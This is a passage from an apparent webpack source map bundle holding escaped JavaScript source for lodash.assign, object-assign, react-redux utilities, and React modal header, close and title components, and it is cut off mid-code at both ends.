   object[key] = value;\n  }\n}\n\n/**\n * The base implementation of `_.keys` which doesn't treat sparse arrays as dense.\n *\n * @private\n * @param {Object} object The object to query.\n * @returns {Array} Returns the array of property names.\n */\nfunction baseKeys(object) {\n  if (!isPrototype(object)) {\n    return nativeKeys(object);\n  }\n  var result = [];\n  for (var key in Object(object)) {\n    if (hasOwnProperty.call(object, key) && key != 'constructor') {\n      result.push(key);\n    }\n  }\n  return result;\n}\n\n/**\n * The base implementation of `_.rest` which doesn't validate or coerce arguments.\n *\n * @private\n * @param {Function} func The function to apply a rest parameter to.\n * @param {number} [start=func.length-1] The start position of the rest parameter.\n * @returns {Function} Returns the new function.\n */\nfunction baseRest(func, start) {\n  start = nativeMax(start === undefined ? (func.length - 1) : start, 0);\n  return function() {\n    var args = arguments,\n        index = -1,\n        length = nativeMax(args.length - start, 0),\n        array = Array(length);\n\n    while (++index < length) {\n      array[index] = args[start + index];\n    }\n    index = -1;\n    var otherArgs = Array(start + 1);\n    while (++index < start) {\n      otherArgs[index] = args[index];\n    }\n    otherArgs[start] = array;\n    return apply(func, this, otherArgs);\n  };\n}\n\n/**\n * Copies properties of `source` to `object`.\n *\n * @private\n * @param {Object} source The object to copy properties from.\n * @param {Array} props The property identifiers to copy.\n * @param {Object} [object={}] The object to copy properties to.\n * @param {Function} [customizer] The function to customize copied values.\n * @returns {Object} Returns `object`.\n */\nfunction copyObject(source, props, object, customizer) {\n  object || (object = {});\n\n  var index = -1,\n      length = props.length;\n\n  while (++index < length) {\n    var key = props[index];\n\n    var newValue = customizer\n      ? customizer(object[key], source[key], key, object, source)\n      : undefined;\n\n    assignValue(object, key, newValue === undefined ? source[key] : newValue);\n  }\n  return object;\n}\n\n/**\n * Creates a function like `_.assign`.\n *\n * @private\n * @param {Function} assigner The function to assign values.\n * @returns {Function} Returns the new assigner function.\n */\nfunction createAssigner(assigner) {\n  return baseRest(function(object, sources) {\n    var index = -1,\n        length = sources.length,\n        customizer = length > 1 ? sources[length - 1] : undefined,\n        guard = length > 2 ? sources[2] : undefined;\n\n    customizer = (assigner.length > 3 && typeof customizer == 'function')\n      ? (length--, customizer)\n      : undefined;\n\n    if (guard && isIterateeCall(sources[0], sources[1], guard)) {\n      customizer = length < 3 ? undefined : customizer;\n      length = 1;\n    }\n    object = Object(object);\n    while (++index < length) {\n      var source = sources[index];\n      if (source) {\n        assigner(object, source, index, customizer);\n      }\n    }\n    return object;\n  });\n}\n\n/**\n * Checks if `value` is a valid array-like index.\n *\n * @private\n * @param {*} value The value to check.\n * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.\n * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.\n */\nfunction isIndex(value, length) {\n  length = length == null ? MAX_SAFE_INTEGER : length;\n  return !!length &&\n    (typeof value == 'number' || reIsUint.test(value)) &&\n    (value > -1 && value % 1 == 0 && value < length);\n}\n\n/**\n * Checks if the given arguments are from an iteratee call.\n *\n * @private\n * @param {*} value The potential iteratee value argument.\n * @param {*} index The potential iteratee index or key argument.\n * @param {*} object The potential iteratee object argument.\n * @returns {boolean} Returns `true` if the arguments are from an iteratee call,\n *  else `false`.\n */\nfunction isIterateeCall(value, index, object) {\n  if (!isObject(object)) {\n    return false;\n  }\n  var type = typeof index;\n  if (type == 'number'\n        ? (isArrayLike(object) && isIndex(index, object.length))\n        : (type == 'string' && index in object)\n      ) {\n    return eq(object[index], value);\n  }\n  return false;\n}\n\n/**\n * Checks if `value` is likely a prototype object.\n *\n * @private\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a prototype, else `false`.\n */\nfunction isPrototype(value) {\n  var Ctor = value && value.constructor,\n      proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;\n\n  return value === proto;\n}\n\n/**\n * Performs a\n * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)\n * comparison between two values to determine if they are equivalent.\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to compare.\n * @param {*} other The other value to compare.\n * @returns {boolean} Returns `true` if the values are equivalent, else `false`.\n * @example\n *\n * var object = { 'a': 1 };\n * var other = { 'a': 1 };\n *\n * _.eq(object, object);\n * // => true\n *\n * _.eq(object, other);\n * // => false\n *\n * _.eq('a', 'a');\n * // => true\n *\n * _.eq('a', Object('a'));\n * // => false\n *\n * _.eq(NaN, NaN);\n * // => true\n */\nfunction eq(value, other) {\n  return value === other || (value !== value && other !== other);\n}\n\n/**\n * Checks if `value` is likely an `arguments` object.\n *\n * @static\n * @memberOf _\n * @since 0.1.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is an `arguments` object,\n *  else `false`.\n * @example\n *\n * _.isArguments(function() { return arguments; }());\n * // => true\n *\n * _.isArguments([1, 2, 3]);\n * // => false\n */\nfunction isArguments(value) {\n  // Safari 8.1 makes `arguments.callee` enumerable in strict mode.\n  return isArrayLikeObject(value) && hasOwnProperty.call(value, 'callee') &&\n    (!propertyIsEnumerable.call(value, 'callee') || objectToString.call(value) == argsTag);\n}\n\n/**\n * Checks if `value` is classified as an `Array` object.\n *\n * @static\n * @memberOf _\n * @since 0.1.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is an array, else `false`.\n * @example\n *\n * _.isArray([1, 2, 3]);\n * // => true\n *\n * _.isArray(document.body.children);\n * // => false\n *\n * _.isArray('abc');\n * // => false\n *\n * _.isArray(_.noop);\n * // => false\n */\nvar isArray = Array.isArray;\n\n/**\n * Checks if `value` is array-like. A value is considered array-like if it's\n * not a function and has a `value.length` that's an integer greater than or\n * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is array-like, else `false`.\n * @example\n *\n * _.isArrayLike([1, 2, 3]);\n * // => true\n *\n * _.isArrayLike(document.body.children);\n * // => true\n *\n * _.isArrayLike('abc');\n * // => true\n *\n * _.isArrayLike(_.noop);\n * // => false\n */\nfunction isArrayLike(value) {\n  return value != null && isLength(value.length) && !isFunction(value);\n}\n\n/**\n * This method is like `_.isArrayLike` except that it also checks if `value`\n * is an object.\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is an array-like object,\n *  else `false`.\n * @example\n *\n * _.isArrayLikeObject([1, 2, 3]);\n * // => true\n *\n * _.isArrayLikeObject(document.body.children);\n * // => true\n *\n * _.isArrayLikeObject('abc');\n * // => false\n *\n * _.isArrayLikeObject(_.noop);\n * // => false\n */\nfunction isArrayLikeObject(value) {\n  return isObjectLike(value) && isArrayLike(value);\n}\n\n/**\n * Checks if `value` is classified as a `Function` object.\n *\n * @static\n * @memberOf _\n * @since 0.1.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a function, else `false`.\n * @example\n *\n * _.isFunction(_);\n * // => true\n *\n * _.isFunction(/abc/);\n * // => false\n */\nfunction isFunction(value) {\n  // The use of `Object#toString` avoids issues with the `typeof` operator\n  // in Safari 8-9 which returns 'object' for typed array and other constructors.\n  var tag = isObject(value) ? objectToString.call(value) : '';\n  return tag == funcTag || tag == genTag;\n}\n\n/**\n * Checks if `value` is a valid array-like length.\n *\n * **Note:** This method is loosely based on\n * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.\n * @example\n *\n * _.isLength(3);\n * // => true\n *\n * _.isLength(Number.MIN_VALUE);\n * // => false\n *\n * _.isLength(Infinity);\n * // => false\n *\n * _.isLength('3');\n * // => false\n */\nfunction isLength(value) {\n  return typeof value == 'number' &&\n    value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;\n}\n\n/**\n * Checks if `value` is the\n * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)\n * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)\n *\n * @static\n * @memberOf _\n * @since 0.1.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is an object, else `false`.\n * @example\n *\n * _.isObject({});\n * // => true\n *\n * _.isObject([1, 2, 3]);\n * // => true\n *\n * _.isObject(_.noop);\n * // => true\n *\n * _.isObject(null);\n * // => false\n */\nfunction isObject(value) {\n  var type = typeof value;\n  return !!value && (type == 'object' || type == 'function');\n}\n\n/**\n * Checks if `value` is object-like. A value is object-like if it's not `null`\n * and has a `typeof` result of \"object\".\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Lang\n * @param {*} value The value to check.\n * @returns {boolean} Returns `true` if `value` is object-like, else `false`.\n * @example\n *\n * _.isObjectLike({});\n * // => true\n *\n * _.isObjectLike([1, 2, 3]);\n * // => true\n *\n * _.isObjectLike(_.noop);\n * // => false\n *\n * _.isObjectLike(null);\n * // => false\n */\nfunction isObjectLike(value) {\n  return !!value && typeof value == 'object';\n}\n\n/**\n * Assigns own enumerable string keyed properties of source objects to the\n * destination object. Source objects are applied from left to right.\n * Subsequent sources overwrite property assignments of previous sources.\n *\n * **Note:** This method mutates `object` and is loosely based on\n * [`Object.assign`](https://mdn.io/Object/assign).\n *\n * @static\n * @memberOf _\n * @since 0.10.0\n * @category Object\n * @param {Object} object The destination object.\n * @param {...Object} [sources] The source objects.\n * @returns {Object} Returns `object`.\n * @see _.assignIn\n * @example\n *\n * function Foo() {\n *   this.a = 1;\n * }\n *\n * function Bar() {\n *   this.c = 3;\n * }\n *\n * Foo.prototype.b = 2;\n * Bar.prototype.d = 4;\n *\n * _.assign({ 'a': 0 }, new Foo, new Bar);\n * // => { 'a': 1, 'c': 3 }\n */\nvar assign = createAssigner(function(object, source) {\n  if (nonEnumShadows || isPrototype(source) || isArrayLike(source)) {\n    copyObject(source, keys(source), object);\n    return;\n  }\n  for (var key in source) {\n    if (hasOwnProperty.call(source, key)) {\n      assignValue(object, key, source[key]);\n    }\n  }\n});\n\n/**\n * Creates an array of the own enumerable property names of `object`.\n *\n * **Note:** Non-object values are coerced to objects. See the\n * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)\n * for more details.\n *\n * @static\n * @since 0.1.0\n * @memberOf _\n * @category Object\n * @param {Object} object The object to query.\n * @returns {Array} Returns the array of property names.\n * @example\n *\n * function Foo() {\n *   this.a = 1;\n *   this.b = 2;\n * }\n *\n * Foo.prototype.c = 3;\n *\n * _.keys(new Foo);\n * // => ['a', 'b'] (iteration order is not guaranteed)\n *\n * _.keys('hi');\n * // => ['0', '1']\n */\nfunction keys(object) {\n  return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);\n}\n\nmodule.exports = assign;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash.assign/index.js\n// module id = 60\n// module chunks = 0 1 2 3 4 5","/*\nobject-assign\n(c) Sindre Sorhus\n@license MIT\n*/\n\n'use strict';\n/* eslint-disable no-unused-vars */\nvar getOwnPropertySymbols = Object.getOwnPropertySymbols;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar propIsEnumerable = Object.prototype.propertyIsEnumerable;\n\nfunction toObject(val) {\n\tif (val === null || val === undefined) {\n\t\tthrow new TypeError('Object.assign cannot be called with null or undefined');\n\t}\n\n\treturn Object(val);\n}\n\nfunction shouldUseNative() {\n\ttry {\n\t\tif (!Object.assign) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Detect buggy property enumeration order in older V8 versions.\n\n\t\t// https://bugs.chromium.org/p/v8/issues/detail?id=4118\n\t\tvar test1 = new String('abc');  // eslint-disable-line no-new-wrappers\n\t\ttest1[5] = 'de';\n\t\tif (Object.getOwnPropertyNames(test1)[0] === '5') {\n\t\t\treturn false;\n\t\t}\n\n\t\t// https://bugs.chromium.org/p/v8/issues/detail?id=3056\n\t\tvar test2 = {};\n\t\tfor (var i = 0; i < 10; i++) {\n\t\t\ttest2['_' + String.fromCharCode(i)] = i;\n\t\t}\n\t\tvar order2 = Object.getOwnPropertyNames(test2).map(function (n) {\n\t\t\treturn test2[n];\n\t\t});\n\t\tif (order2.join('') !== '0123456789') {\n\t\t\treturn false;\n\t\t}\n\n\t\t// https://bugs.chromium.org/p/v8/issues/detail?id=3056\n\t\tvar test3 = {};\n\t\t'abcdefghijklmnopqrst'.split('').forEach(function (letter) {\n\t\t\ttest3[letter] = letter;\n\t\t});\n\t\tif (Object.keys(Object.assign({}, test3)).join('') !==\n\t\t\t\t'abcdefghijklmnopqrst') {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t} catch (err) {\n\t\t// We don't expect any of the above to throw, but better to be safe.\n\t\treturn false;\n\t}\n}\n\nmodule.exports = shouldUseNative() ? Object.assign : function (target, source) {\n\tvar from;\n\tvar to = toObject(target);\n\tvar symbols;\n\n\tfor (var s = 1; s < arguments.length; s++) {\n\t\tfrom = Object(arguments[s]);\n\n\t\tfor (var key in from) {\n\t\t\tif (hasOwnProperty.call(from, key)) {\n\t\t\t\tto[key] = from[key];\n\t\t\t}\n\t\t}\n\n\t\tif (getOwnPropertySymbols) {\n\t\t\tsymbols = getOwnPropertySymbols(from);\n\t\t\tfor (var i = 0; i < symbols.length; i++) {\n\t\t\t\tif (propIsEnumerable.call(from, symbols[i])) {\n\t\t\t\t\tto[symbols[i]] = from[symbols[i]];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn to;\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/object-assign/index.js\n// module id = 62\n// module chunks = 0 1 2 3 4 5","import React, { Component } from 'react';\nimport ModalClose from './close';\nimport ModalImage from './image';\n\nexport default class ModalHeader extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t\tthis.closeModal = this.props.closeModal.bind( this );\n\t}\n\n\trender() {\n\t\tconst children = React.Children.map( this.props.children, content => {\n\t\t\treturn content;\n\t\t} );\n\n\t\tconst alignment = ( ! _.isUndefined( this.props.alignment ) && '' !== this.props.alignment )\n\t\t\t? this.props.alignment\n\t\t\t: '';\n\n\t\tconst flatten = ( ! _.isUndefined( this.props.flatten ) && true === this.props.flatten )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst hasClose = ( ! _.isUndefined( this.props.canClose ) && false === this.props.canClose )\n\t\t\t? false\n\t\t\t: true;\n\n\t\tconst closeType = ( ! _.isUndefined( this.props.closeType ) && '' !== this.props.closeType )\n\t\t\t? this.props.closeType\n\t\t\t: '';\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst closeColor = ( ! _.isUndefined( this.props.closeColor ) && '' !== this.props.closeColor )\n\t\t\t? this.props.closeColor\n\t\t\t: 'default';\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst hasImage = ( ! _.isUndefined( this.props.imageName ) && '' !== this.props.imageName )\n\t\t\t? true\n\t\t\t: false;\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst isLogo = ( ! _.isUndefined( this.props.imageLogo ) && true === this.props.imageLogo )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst hasAlt = ( ! _.isUndefined( this.props.imageAlt ) && true === this.props.imageAlt )\n\t\t\t? this.props.imageAlt\n\t\t\t: '';\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst hasClass = ( ! _.isUndefined( this.props.customClass ) && '' !== this.props.customClass )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tlet elClass = 'sui-box-header';\n\n\t\tif ( '' !== alignment ) {\n\t\t\telClass += ' sui-content-' + alignment;\n\t\t}\n\n\t\tif ( true === flatten ) {\n\t\t\telClass += ' sui-flatten';\n\t\t}\n\n\t\tif ( true === hasImage ) {\n\t\t\telClass += ' sui-spacing-top--60';\n\t\t}\n\n\t\tif ( true === hasClass ) {\n\t\t\telClass += ' ' + this.props.customClass;\n\t\t}\n\n\t\tlet markup = (\n\t\t\t<div className={ elClass }>\n\n\t\t\t\t{ true === hasClose &&\n\t\t\t\t\t<ModalClose\n\t\t\t\t\t\ttype={ closeType }\n\t\t\t\t\t\tfloat=\"right\"\n\t\t\t\t\t\tcolor={ closeColor }\n\t\t\t\t\t\t{ ... hasClose && { closeModal: this.closeModal } }\n\t\t\t\t\t/>\n\t\t\t\t}\n\n\t\t\t\t{ true === hasImage &&\n\t\t\t\t\t<ModalImage\n\t\t\t\t\t\tlogo={ isLogo }\n\t\t\t\t\t\tfilename={ this.props.imageName }\n\t\t\t\t\t\talt={ hasAlt }\n\t\t\t\t\t/>\n\t\t\t\t}\n\n\t\t\t\t{ children }\n\n\t\t\t</div>\n\t\t);\n\n\t\tif ( 'center' !== alignment ) {\n\t\t\tmarkup = (\n\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t{ true === hasClose &&\n\t\t\t\t\t\t<ModalClose\n\t\t\t\t\t\t\tsronly={ true }\n\t\t\t\t\t\t\t{ ... hasClose && { closeModal: this.closeModal } }\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<div className={ elClass }>\n\n\t\t\t\t\t\t{ true === hasImage &&\n\t\t\t\t\t\t\t<ModalImage\n\t\t\t\t\t\t\t\tlogo={ isLogo }\n\t\t\t\t\t\t\t\tfilename={ this.props.imageName }\n\t\t\t\t\t\t\t\talt={ hasAlt }\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t{ children }\n\n\t\t\t\t\t\t<div className=\"sui-actions-right\">\n\n\t\t\t\t\t\t\t{ true === hasClose &&\n\t\t\t\t\t\t\t\t<ModalClose\n\t\t\t\t\t\t\t\t\ttype={ closeType }\n\t\t\t\t\t\t\t\t\tcolor={ closeColor }\n\t\t\t\t\t\t\t\t\tcloseModal={ this.closeModal }\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t</div>\n\n\t\t\t\t</React.Fragment>\n\t\t\t);\n\t\t}\n\n\t\treturn markup;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/modals/partials/header.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class ModalClose extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t\tthis.closeModal = this.props.closeModal.bind( this );\n\t}\n\n\trender() {\n\t\tconst label = ( ! _.isUndefined( this.props.label ) && '' !== this.props.label )\n\t\t\t? this.props.label\n\t\t\t: translate( 'Close this dialog' );\n\n\t\tconst color = ( ! _.isUndefined( this.props.color ) && '' !== this.props.color )\n\t\t\t? this.props.color\n\t\t\t: '';\n\n\t\tconst isIcon = ( ! _.isUndefined( this.props.type ) && 'icon' === this.props.type )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst isHidden = ( ! _.isUndefined( this.props.sronly ) && true === this.props.sronly )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst hasIcon = ( ! _.isUndefined( this.props.icon ) && '' !== this.props.icon )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst floatsLeft = ( ! _.isUndefined( this.props.float ) && 'left' === this.props.float )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tconst floatsRight = ( ! _.isUndefined( this.props.float ) && 'right' === this.props.float )\n\t\t\t? true\n\t\t\t: false;\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst hasCustomClass = ( ! _.isUndefined( this.props.customClass ) && '' !== this.props.customClass )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tlet elClass = 'sui-button';\n\n\t\tif ( true === isHidden ) {\n\t\t\telClass = 'sui-screen-reader-text';\n\t\t} else if ( false === isHidden && true === isIcon ) {\n\t\t\telClass = 'sui-button-icon';\n\t\t}\n\n\t\tif ( false === isHidden && '' !== color ) {\n\t\t\telClass += ' sui-button-' + color;\n\t\t}\n\n\t\tif ( false === isHidden && ( true === floatsLeft || true === floatsRight ) ) {\n\t\t\telClass += ' sui-button-float--' + this.props.float;\n\t\t}\n\n\t\tif ( true === hasCustomClass ) {\n\t\t\telClass += ' ' + this.props.customClass;\n\t\t}\n\n\t\telClass += ' modal-close-button';\n\n\t\treturn (\n\t\t\t<button className={ elClass } onClick={ this.closeModal }>\n\t\t\t\t{ true === isIcon &&\n\t\t\t\t\t<i className=\"sui-icon-close sui-md\" aria-hidden=\"true\" />\n\t\t\t\t}\n\t\t\t\t{ true === hasIcon &&\n\t\t\t\t\t<i className={ 'sui-icon-' + this.props.icon } aria-hidden=\"true\" />\n\t\t\t\t}\n\t\t\t\t{ ( true === isIcon )\n\t\t\t\t\t? <span className=\"sui-screen-reader-text\">{ label }</span>\n\t\t\t\t\t: label\n\t\t\t\t}\n\t\t\t</button>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/modals/partials/close.js","import React, { Component } from 'react';\n\nexport default class ModalTitle extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst titleId = this.props.id\n\t\t\t? 'modal-' + this.props.id + '--title'\n\t\t\t: 'unique-id-required';\n\n\t\tconst titleLabel = this.props.label\n\t\t\t? this.props.label\n\t\t\t: 'A title is required for your modals';\n\n\t\tconst titleTag = ( ! _.isUndefined( this.props.tag ) && '' !== this.props.tag )\n\t\t\t? this.props.tag\n\t\t\t: '';\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst titleTagColor = ( ! _.isUndefined( this.props.tagColor ) && '' !== this.props.tagColor )\n\t\t\t? ' sui-tag-' + this.props.titleTagColor\n\t\t\t: '';\n\n\t\tlet titleClass = 'sui-box-title';\n\n\t\tif ( 'lg' === this.props.size ) {\n\t\t\ttitleClass += ' sui-lg';\n\t\t}\n\n\t\tif ( ! _.isUndefined( this.props.customClass ) && '' !== this.props.customClass ) {\n\t\t\ttitleClass += ' ' + this.props.customClass;\n\t\t}\n\n\t\treturn (\n\t\t\t<h3 id={ titleId } className={ titleClass }>\n\t\t\t\t{ titleLabel }\n\t\t\t\t{ '' !== titleTag &&\n\t\t\t\t\t<span\n\t\t\t\t\t\tclassName={ 'sui-tag' + titleTagColor }\n\t\t\t\t\t\tstyle={ { marginTop: '-2px', marginLeft: '10px' } }\n\t\t\t\t\t>{ titleTag }</span>\n\t\t\t\t}\n\t\t\t</h3>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/modals/partials/title.js","import PropTypes from 'prop-types';\n\nexport var subscriptionShape = PropTypes.shape({\n  trySubscribe: PropTypes.func.isRequired,\n  tryUnsubscribe: PropTypes.func.isRequired,\n  notifyNestedSubs: PropTypes.func.isRequired,\n  isSubscribed: PropTypes.func.isRequired\n});\n\nexport var storeShape = PropTypes.shape({\n  subscribe: PropTypes.func.isRequired,\n  dispatch: PropTypes.func.isRequired,\n  getState: PropTypes.func.isRequired\n});\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/utils/PropTypes.js\n// module id = 68\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nimport hoistStatics from 'hoist-non-react-statics';\nimport invariant from 'invariant';\nimport { Component, createElement } from 'react';\n\nimport Subscription from '../utils/Subscription';\nimport { storeShape, subscriptionShape } from '../utils/PropTypes';\n\nvar hotReloadingVersion = 0;\nvar dummyState = {};\nfunction noop() {}\nfunction makeSelectorStateful(sourceSelector, store) {\n  // wrap the selector in an object that tracks its results between runs.\n  var selector = {\n    run: function runComponentSelector(props) {\n      try {\n        var nextProps = sourceSelector(store.getState(), props);\n        if (nextProps !== selector.props || selector.error) {\n          selector.shouldComponentUpdate = true;\n          selector.props = nextProps;\n          selector.error = null;\n        }\n      } catch (error) {\n        selector.shouldComponentUpdate = true;\n        selector.error = error;\n      }\n    }\n  };\n\n  return selector;\n}\n\nexport default function connectAdvanced(\n/*\n  selectorFactory is a func that is responsible for returning the selector function used to\n  compute new props from state, props, and dispatch. For example:\n     export default connectAdvanced((dispatch, options) => (state, props) => ({\n      thing: state.things[props.thingId],\n      saveThing: fields => dispatch(actionCreators.saveThing(props.thingId, fields)),\n    }))(YourComponent)\n   Access to dispatch is provided to the factory so selectorFactories can bind actionCreators\n  outside of their selector as an optimization. Options passed to connectAdvanced are passed to\n  the selectorFactory, along with displayName and WrappedComponent, as the second argument.\n   Note that selectorFactory is responsible for all caching/memoization of inbound and outbound\n  props. Do not use connectAdvanced directly without memoizing results between calls to your\n  selector, otherwise the Connect component will re-render on every state or props change.\n*/\nselectorFactory) {\n  var _contextTypes, _childContextTypes;\n\n  var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n      _ref$getDisplayName = _ref.getDisplayName,\n      getDisplayName = _ref$getDisplayName === undefined ? function (name) {\n    return 'ConnectAdvanced(' + name + ')';\n  } : _ref$getDisplayName,\n      _ref$methodName = _ref.methodName,\n      methodName = _ref$methodName === undefined ? 'connectAdvanced' : _ref$methodName,\n      _ref$renderCountProp = _ref.renderCountProp,\n      renderCountProp = _ref$renderCountProp === undefined ? undefined : _ref$renderCountProp,\n      _ref$shouldHandleStat = _ref.shouldHandleStateChanges,\n      shouldHandleStateChanges = _ref$shouldHandleStat === undefined ? true : _ref$shouldHandleStat,\n      _ref$storeKey = _ref.storeKey,\n      storeKey = _ref$storeKey === undefined ? 'store' : _ref$storeKey,\n      _ref$withRef = _ref.withRef,\n      withRef = _ref$withRef === undefined ? false : _ref$withRef,\n      connectOptions = _objectWithoutProperties(_ref, ['getDisplayName', 'methodName', 'renderCountProp', 'shouldHandleStateChanges', 'storeKey', 'withRef']);\n\n  var subscriptionKey = storeKey + 'Subscription';\n  var version = hotReloadingVersion++;\n\n  var contextTypes = (_contextTypes = {}, _contextTypes[storeKey] = storeShape, _contextTypes[subscriptionKey] = subscriptionShape, _contextTypes);\n  var childContextTypes = (_childContextTypes = {}, _childContextTypes[subscriptionKey] = subscriptionShape, _childContextTypes);\n\n  return function wrapWithConnect(WrappedComponent) {\n    invariant(typeof WrappedComponent == 'function', 'You must pass a component to the function returned by ' + (methodName + '. Instead received ' + JSON.stringify(WrappedComponent)));\n\n    var wrappedComponentName = WrappedComponent.displayName || WrappedComponent.name || 'Component';\n\n    var displayName = getDisplayName(wrappedComponentName);\n\n    var selectorFactoryOptions = _extends({}, connectOptions, {\n      getDisplayName: getDisplayName,\n      methodName: methodName,\n      renderCountProp: renderCountProp,\n      shouldHandleStateChanges: shouldHandleStateChanges,\n      storeKey: storeKey,\n      withRef: withRef,\n      displayName: displayName,\n      wrappedComponentName: wrappedComponentName,\n      WrappedComponent: WrappedComponent\n    });\n\n    var Connect = function (_Component) {\n      _inherits(Connect, _Component);\n\n      function Connect(props, context) {\n        _classCallCheck(this, Connect);\n\n        var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));\n\n        _this.version = version;\n        _this.state = {};\n        _this.renderCount = 0;\n        _this.store = props[storeKey] || context[storeKey];\n        _this.propsMode = Boolean(props[storeKey]);\n        _this.setWrappedInstance = _this.setWrappedInstance.bind(_this);\n\n        invariant(_this.store, 'Could not find \"' + storeKey + '\" in either the context or props of ' + ('\"' + displayName + '\". Either wrap the root component in a <Provider>, ') + ('or explicitly pass \"' + storeKey + '\" as a prop to \"' + displayName + '\".'));\n\n        _this.initSelector();\n        _this.initSubscription();\n        return _this;\n      }\n\n      Connect.prototype.getChildContext = function getChildContext() {\n        var _ref2;\n\n        // If this component received store from props, its subscription should be transparent\n        // to any descendants receiving store+subscription from context; it passes along\n        // subscription passed to it. Otherwise, it shadows the parent subscription, which allows\n        // Connect to control ordering of notifications to flow top-down.\n        var subscription = this.propsMode ? null : this.subscription;\n        return _ref2 = {}, _ref2[subscriptionKey] = subscription || this.context[subscriptionKey], _ref2;\n      };\n\n      Connect.prototype.componentDidMount = function componentDidMount() {\n        if (!shouldHandleStateChanges) return;\n\n        // componentWillMount fires during server side rendering, but componentDidMount and\n        // componentWillUnmount do not. Because of this, trySubscribe happens during ...didMount.\n        // Otherwise, unsubscription would never take place during SSR, causing a memory leak.\n        // To handle the case where a child component may have triggered a state change by\n        // dispatching an action in its componentWillMount, we have to re-run the select and maybe\n        // re-render.\n        this.subscription.trySubscribe();\n        this.selector.run(this.props);\n        if (this.selector.shouldComponentUpdate) this.forceUpdate();\n      };\n\n      Connect.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {\n        this.selector.run(nextProps);\n      };\n\n      Connect.prototype.shouldComponentUpdate = 